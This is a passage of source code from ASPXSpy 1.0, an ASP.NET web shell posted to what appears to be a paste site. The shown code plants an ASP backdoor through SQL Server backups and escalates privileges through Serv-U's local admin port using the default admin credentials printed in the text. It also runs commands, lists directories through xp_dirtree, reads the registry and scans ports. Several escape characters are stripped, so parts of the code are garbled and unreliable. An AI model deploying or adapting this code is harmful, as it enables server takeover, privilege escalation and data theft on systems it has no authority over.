  992. Bin_DBmenuPanel.Visible = true;
  993. string sqlstr = Bin_DBstrTextBox.Text;
  994. DataTable databind = Bin_DataTable(sqlstr);
  995. string res = "";
  996. foreach (DataRow dr in databind.Rows)
  997. {
  998. for (int i = 0; i < databind.Columns.Count; i++)
  999. {
  1000. res += dr[i] + "r";
  1001. }
  1002. }
  1003. Bin_ResLabel.Text = "" + res.Replace(" ", "&nbsp;").Replace("", "&gt;") + "";
  1004.  
  1005.  
  1006. }
  1007. catch (Exception error)
  1008. {
  1009. Bin_Error(error.Message);
  1010. }
  1011.  
  1012. }
  1013.  
  1014. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1015. {
  1016. Bin_dirPanel.Visible = true;
  1017. Bin_AccPanel.Visible = false;
  1018. Bin_DBinfoLabel.Visible = false;
  1019. Bin_DataGrid.Visible = false;
  1020. Bin_Scroll.Visible = false;
  1021. }
  1022.  
  1023. protected void Bin_listButton_Click(object sender, EventArgs e)
  1024. {
  1025. Bin_dirPanel.Visible = true;
  1026. Bin_AccPanel.Visible = false;
  1027. Bin_DBinfoLabel.Visible = false;
  1028. Bin_SqlDir();
  1029. }
  1030. public void Bin_SqlDir()
  1031. {
  1032. try
  1033. {
  1034. Bin_DataGrid.Visible = true;
  1035. Bin_Scroll.Visible = true;
  1036. Bin_DataGrid.AllowPaging = false;
  1037. string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1038. Bin_ExecSql(exesql);
  1039. DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1040. Bin_DataGrid.DataSource = sql_dir;
  1041. Bin_DataGrid.DataBind();
  1042. }
  1043. catch (Exception e)
  1044. {
  1045. Bin_Error(e.Message);
  1046. }
  1047. }
  1048.  
  1049. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1050. {
  1051. Bin_CmdPanel.Visible = false;
  1052. Bin_SQLPanel.Visible = false;
  1053. Bin_SuPanel.Visible = true;
  1054. Bin_IISPanel.Visible = false;
  1055. Bin_SuresLabel.Text = "";
  1056. Bin_LoginPanel.Visible = false;
  1057. Bin_RegPanel.Visible = false;
  1058. Bin_PortPanel.Visible = false;
  1059. }
  1060.  
  1061. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1062. {
  1063. Bin_DBinfoLabel.Visible = false;
  1064. Bin_AccPanel.Visible = false;
  1065. Bin_BakDB();
  1066. }
  1067. public void Bin_BakDB()
  1068. {
  1069. string path = Bin_DirTextBox.Text.Trim();
  1070. if (path.Substring(path.Length - 1, 1) == @"")
  1071. {
  1072. path = path + "bin.asp";
  1073. }
  1074. else
  1075. {
  1076. path = path + @"bin.asp";
  1077. }
  1078. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1079. Bin_ExecSql(sql);
  1080. Bin_SqlDir();
  1081. }
  1082. public void Bin_BakLog()
  1083. {
  1084. string path = Bin_DirTextBox.Text.Trim();
  1085. if (path.Substring(path.Length - 1, 1) == @"")
  1086. {
  1087. path = path + "bin.asp";
  1088. }
  1089. else
  1090. {
  1091. path = path + @"bin.asp";
  1092. }
  1093. string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1094. Bin_ExecSql(sql);
  1095. Bin_SqlDir();
  1096. }
  1097.  
  1098. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1099. {
  1100. Bin_DBinfoLabel.Visible = false;
  1101. Bin_AccPanel.Visible = false;
  1102. Bin_BakLog();
  1103. }
  1104.  
  1105. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1106. {
  1107. string Result = "";
  1108. string user = Bin_SunameTextBox.Text;
  1109. string pass = Bin_SupassTextBox.Text;
  1110. int port = Int32.Parse(Bin_SuportTextBox.Text);
  1111. string cmd = Bin_SucmdTextBox.Text;
  1112. string loginuser = "user " + user + "rn";
  1113. string loginpass = "pass " + pass + "rn";
  1114. string site = "SITE MAINTENANCErn";
  1115. string deldomain = "-DELETEDOMAINrn-IP=0.0.0.0rn PortNo=52521rn";
  1116. string setdomain = "-SETDOMAINrn-Domain=BIN|0.0.0.0|52521|-1|1|0rn-TZOEnable=0rn TZOKey=rn";
  1117. string newdomain = "-SETUSERSETUPrn-IP=0.0.0.0rn-PortNo=52521rn-User=binrn-Password=binftprn-HomeDir=c:\rn-LoginMesFile=rn-Disable=0rn-RelPaths=1rn-NeedSecure=0rn-HideHidden=0rn-AlwaysAllowLogin=0rn-ChangePassword=0rn-QuotaEnable=0rn-MaxUsersLoginPerIP=-1rn-SpeedLimitUp=0rn-SpeedLimitDown=0rn-MaxNrUsers=-1rn-IdleTimeOut=600rn-SessionTimeOut=-1rn-Expire=0rn-RatioDown=1rn-RatiosCredit=0rn-QuotaCurrent=0rn-QuotaMaximum=0rn-Maintenance=Systemrn-PasswordType=Regularrn-Ratios=NoneRNrn Access=c:\|RWAMELCDPrn";
  1118. string quite = "QUITrn";
  1119. try
  1120. {
  1121. TcpClient tcp = new TcpClient("127.0.0.1", port);
  1122. tcp.ReceiveBufferSize = 1024;
  1123. NetworkStream NS = tcp.GetStream();
  1124. Result = Rev(NS);
  1125. Result += Send(NS, loginuser);
  1126. Result += Rev(NS);
  1127. Result += Send(NS, loginpass);
  1128. Result += Rev(NS);
  1129. Result += Send(NS, site);
  1130. Result += Rev(NS);
  1131. Result += Send(NS, deldomain);
  1132. Result += Rev(NS);
  1133. Result += Send(NS, setdomain);
  1134. Result += Rev(NS);
  1135. Result += Send(NS, newdomain);
  1136. Result += Rev(NS);
  1137. TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1138. NetworkStream NS1 = tcp1.GetStream();
  1139. Result += Rev(NS1);
  1140. Result += Send(NS1, "user binrn");
  1141. Result += Rev(NS1);
  1142. Result += Send(NS1, "pass binftprn");
  1143. Result += Rev(NS1);
  1144. Result += Send(NS1, "site exec " + cmd + "rn");
  1145. Result += Rev(NS1);
  1146. tcp1.Close();
  1147. Result += Send(NS, deldomain);
  1148. Result += Rev(NS);
  1149. Result += Send(NS, quite);
  1150. Result += Rev(NS);
  1151. tcp.Close();
  1152. }
  1153. catch (Exception error)
  1154. {
  1155. Bin_Error(error.Message);
  1156. }
  1157. Bin_SuresLabel.Text = "" + Result + "";
  1158.  
  1159.  
  1160. }
  1161. protected string Rev(NetworkStream instream)
  1162. {
  1163. string Restr = "";
  1164. if (instream.CanRead)
  1165. {
  1166. byte[] buffer = new byte[1024];
  1167. instream.Read(buffer, 0, buffer.Length);
  1168. Restr = Encoding.ASCII.GetString(buffer);
  1169. }
  1170. return "" + Restr + "";
  1171.  
  1172. }
  1173. protected string Send(NetworkStream instream,string Sendstr)
  1174. {
  1175. if (instream.CanWrite)
  1176. {
  1177. byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1178. instream.Write(buffer, 0, buffer.Length);
  1179. }
  1180. return "" + Sendstr + "";
  1181. }
  1182. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1183. {
  1184. Bin_LoginPanel.Visible = false;
  1185. Bin_MainPanel.Visible = false;
  1186. Bin_MenuPanel.Visible = true;
  1187. Bin_FilePanel.Visible = false;
  1188. Bin_CmdPanel.Visible = false;
  1189. Bin_SQLPanel.Visible = false;
  1190. Bin_SuPanel.Visible = false;
  1191. Bin_IISPanel.Visible = true;
  1192. Bin_RegPanel.Visible = false;
  1193. Bin_PortPanel.Visible = false;
  1194. Bin_iisLabel.Text = Bin_iisinfo();
  1195.  
  1196. }
  1197.  
  1198. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1199. {
  1200. Bin_MenuPanel.Visible = true;
  1201. Bin_LoginPanel.Visible = false;
  1202. Bin_CmdPanel.Visible = false;
  1203. Bin_SQLPanel.Visible = false;
  1204. Bin_SuPanel.Visible = false;
  1205. Bin_IISPanel.Visible = false;
  1206. Bin_RegPanel.Visible = false;
  1207. Bin_PortPanel.Visible = true;
  1208. Bin_ScanresLabel.Text = "";
  1209. }
  1210.  
  1211. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1212. {
  1213. Bin_MenuPanel.Visible = true;
  1214. Bin_LoginPanel.Visible = false;
  1215. Bin_CmdPanel.Visible = false;
  1216. Bin_SQLPanel.Visible = false;
  1217. Bin_SuPanel.Visible = false;
  1218. Bin_IISPanel.Visible = false;
  1219. Bin_RegPanel.Visible = true;
  1220. Bin_PortPanel.Visible = false;
  1221. Bin_RegresLabel.Text = "";
  1222.  
  1223. }
  1224.  
  1225. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1226. {
  1227. try
  1228. {
  1229. string regkey = Bin_KeyTextBox.Text;
  1230. string subkey = regkey.Substring(regkey.IndexOf("\") + 1, regkey.Length - regkey.IndexOf("\") - 1);
  1231. RegistryKey rk = null;
  1232. if (regkey.Substring(0, regkey.IndexOf("\")) == "HKEY_LOCAL_MACHINE")
  1233. {
  1234. rk = Registry.LocalMachine.OpenSubKey(subkey);
  1235. }
  1236. if (regkey.Substring(0, regkey.IndexOf("\")) == "HKEY_CLASSES_ROOT")
  1237. {
  1238. rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1239. }
  1240. if (regkey.Substring(0, regkey.IndexOf("\")) == "HKEY_CURRENT_USER")
  1241. {
  1242. rk = Registry.CurrentUser.OpenSubKey(subkey);
  1243. }
  1244. if (regkey.Substring(0, regkey.IndexOf("\")) == "HKEY_USERS")
  1245. {
  1246. rk = Registry.Users.OpenSubKey(subkey);
  1247. }
  1248. if (regkey.Substring(0, regkey.IndexOf("\")) == "HKEY_CURRENT_CONFIG")
  1249. {
  1250. rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1251. }
  1252.  
  1253. Bin_RegresLabel.Text = "Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1254. }
  1255. catch (Exception error)
  1256. {
  1257. Bin_Error(error.Message);
  1258. }
  1259. }
  1260.  
  1261. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1262. {
  1263. try
  1264. {
  1265. string res = "";
  1266. string[] port = Bin_PortsTextBox.Text.Split(',');
  1267. for (int i = 0; i < port.Length; i++)
  1268. {
  1269. res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "";
  1270. }
  1271. Bin_ScanresLabel.Text = "" + res;
  1272. }
  1273. catch (Exception error)
  1274. {
  1275. Bin_Error(error.Message);
  1276. }
  1277. }
  1278. protected string Bin_Scan(string ip, int port)
  1279. {
  1280.  
  1281. string scanres = "";
  1282. TcpClient tcp = new TcpClient();
  1283. tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1284. try
  1285. {
  1286. tcp.Connect(ip, port);
  1287. tcp.Close();
  1288. scanres = ip + " : " + port + " ................................. Open";
  1289. }
  1290. catch (SocketException e)
  1291. {
  1292. scanres = ip + " : " + port + " ................................. Close";
  1293. }
  1294. return scanres;
  1295. }
  1296.  
  1297.  
  1298.  
  1299. ASPXSpy1.0 -> Bin:)
  1300.  
  1301. A:link {
  1302. COLOR:#000000; TEXT-DECORATION:None
  1303. }
  1304. A:visited {
  1305. COLOR:#000000; TEXT-DECORATION:None
  1306. }
  1307. A:active {
  1308. COLOR:#000000; TEXT-DECORATION:None
  1309. }
  1310. A:hover {
  1311. COLOR:#000000; TEXT-DECORATION:underline
  1312. }
  1313. BODY {
  1314. FONT-SIZE: 9pt;
  1315. FONT-FAMILY: "Courier New";
  1316. }
  1317. #nei {
  1318. width:500px;
  1319. margin:0px auto;
  1320.  
  1321. overflow:hidden
  1322. }
  1323. #su {
  1324. width:300px;
  1325. margin:0px auto;
  1326.  
  1327. overflow:hidden
  1328. }
  1329. #cmd {
  1330. width:500px;
  1331. margin:0px auto;
  1332.  
  1333. overflow:hidden
  1334. }
  1335.  
  1336.  
  1337. function Command(cmd, str)
  1338. {
  1339. var strTmp = str;
  1340. var frm = document.forms[0];
  1341. if(cmd == 'del')
  1342. {
  1343. if(confirm('Del It ?'))
  1344. {
  1345. frm.todo.value = str;
  1346. frm.goaction.value = cmd;
  1347. frm.submit();
  1348. }
  1349. else return;
  1350. }
  1351. if (cmd == 'change')
  1352. {
  1353. frm.todo.value = str;
  1354. frm.goaction.value = cmd;
  1355. frm.submit();
  1356. }
  1357. if (cmd == 'down')
  1358. {
  1359. frm.todo.value = str;
  1360. frm.goaction.value = cmd;
  1361. frm.submit();
  1362. }
  1363. if (cmd == 'showatt')
  1364. {
  1365. frm.todo.value = str;
  1366. frm.goaction.value = cmd;
  1367. frm.submit();
  1368. }
  1369. if (cmd == 'edit')
  1370. {
  1371. frm.todo.value = str;
  1372. frm.goaction.value = cmd;
  1373. frm.submit();
  1374. }
  1375. if (cmd == 'deldir')
  1376. {
  1377. if(confirm('Del It ?'))
  1378. {
  1379. frm.todo.value = str;
  1380. frm.goaction.value = cmd;
  1381. frm.submit();
  1382. }
  1383. else return;
  1384. }
  1385. if(cmd == 'rename' )
  1386. {
  1387. frm.goaction.value = cmd;
  1388. frm.todo.value = str + ',';
  1389. str = prompt('Please input new filename:', strTmp);
  1390. if(str && (strTmp != str))
  1391. {
  1392. frm.todo.value += str;
  1393. frm.submit();
  1394. }
  1395. else return;
  1396. }
  1397. if(cmd == 'renamedir' )
  1398. {
  1399. frm.goaction.value = cmd;
  1400. frm.todo.value = str + ',';
  1401. str = prompt('Please input new foldername:', strTmp);
  1402. if(str && (strTmp != str))
  1403. {
  1404. frm.todo.value += str;
  1405. frm.submit();
  1406. }
  1407. else return;
  1408. }
  1409. if (cmd == 'postdata')
  1410. {
  1411. frm.todo.value = str.value;
  1412. frm.goaction.value = cmd;
  1413. frm.submit();
  1414. }
  1415. if (cmd == 'changedata')
  1416. {
  1417. frm.todo.value = str.value;
  1418. frm.intext.value = str.options[str.selectedIndex].innerText
  1419. frm.goaction.value = cmd;
  1420. frm.submit();
  1421. }
  1422. }
  1423.  
  1424.  
  1425.  
  1426.  
  1427.  
  1428.  
  1429.  
  1430.  
  1431. Copyright (C) 2008 Bin -> WwW.RoOTkIt.NeT.Cn
  1432.  
  1433.  
  1434.  
  1435.  
  1436.  
  1437. &nbsp;
  1438.  
  1439.  
  1440.  
  1441. Copyright (C) 2008 Bin -> WwW.RoOTkIt.NeT.Cn -> Reverse-IP
  1442.  
  1443.  
  1444.  
  1445.  
  1446. &nbsp;&nbsp;
  1447.  
  1448.  
  1449.  
  1450.  
  1451.  
  1452.  
  1453.  
  1454. &nbsp;
  1455.  
  1456.  
  1457.  
  1458.  
  1459.  
  1460.  
  1461.  
  1462. FileName :
  1463.  
  1464.  
  1465.  
  1466.  
  1467.  
  1468.  
  1469. CreationTime :
  1470.  
  1471. LastWriteTime :
  1472.  
  1473. LastAccessTime :
  1474.  
  1475.  
  1476.  
  1477.  
  1478.  
  1479.  
  1480. Path:
  1481.  
  1482. &nbsp;
  1483.  
  1484. CmdPath : &nbsp;C:WindowsSystem32Cmd.exe
  1485. Argument :
  1486. /c Set
  1487.  
  1488.  
  1489.  
  1490.  
  1491.  
  1492.  
  1493. ConnString :
  1494. server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB
  1495.  
  1496.  
  1497.  
  1498.  
  1499.  
  1500.  
  1501.  
  1502.  
  1503.  
  1504.  
  1505.  
  1506.  
  1507.  
  1508.  
  1509.  
  1510.  
  1511. Path :
  1512. c:
  1513.  
  1514. &nbsp;
  1515.  
  1516.  
  1517.  
  1518.  
  1519.  
  1520.  
  1521.  
  1522.  
  1523.  
  1524. Name :
  1525. localadministrator
  1526. Pass :
  1527. #l@$ak#.lk;0@P
  1528. Port :
  1529. 43958
  1530. CMD :
  1531. cmd.exe /c net user
  1532.  
  1533.  
  1534.  
  1535.  
  1536.  
  1537.  
  1538.  
  1539.  
  1540. &nbsp;
  1541.  
  1542. KEY :&nbsp; &nbsp;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlComputerNameComputerName
  1543. VALUE :
  1544. ComputerName&nbsp;
  1545.  
  1546.  
  1547.  
  1548. IP :
  1549. 127.0.0.1
  1550. PORT :
  1551. 21,80,1433,3306,3389,4899,5631,43958,65500
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement